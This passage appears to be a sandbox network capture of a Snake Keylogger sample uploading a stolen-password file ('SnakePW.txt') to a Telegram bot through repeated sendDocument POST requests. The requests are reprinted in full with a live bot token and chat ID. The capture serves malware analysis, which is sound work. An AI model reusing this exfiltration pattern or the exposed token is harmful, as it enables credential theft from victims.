2022-06-26 07:33:09 UTC	123	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 36 63 33 65 63 34 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e6c3ec41Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:09 UTC	124	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:09 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:09 UTC	124	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66828,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228789,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49901	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:09 UTC	124	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e701e98c Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:09 UTC	125	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 37 30 31 65 39 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e701e98cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:10 UTC	125	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:10 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:10 UTC	126	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66829,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228790,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49904	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:10 UTC	126	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e73d84c1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:10 UTC	126	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 37 33 64 38 34 63 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e73d84c1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:10 UTC	127	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:10 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:10 UTC	127	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66831,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228790,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49906	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:10 UTC	128	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e7745a71 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:10 UTC	128	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 37 37 34 35 61 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e7745a71Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:10 UTC	129	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:10 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:10 UTC	129	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66832,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228790,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49907	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:10 UTC	130	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e7aff527 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:10 UTC	130	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 37 61 66 66 35 32 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e7aff527Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:11 UTC	130	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:11 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:11 UTC	131	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66833,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228791,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49909	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:11 UTC	131	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e7e6cace Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:11 UTC	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 37 65 36 63 61 63 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e7e6caceContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:11 UTC	132	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:11 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:11 UTC	132	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66834,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228791,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49911	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:12 UTC	133	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756e82bef06 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:12 UTC	133	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 38 32 62 65 66 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756e82bef06Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:12 UTC	134	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:12 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:12 UTC	134	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 39 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66836,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228792,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49776	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:41 UTC	13	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d62b529c Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:41 UTC	13	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 36 32 62 35 32 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d62b529cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
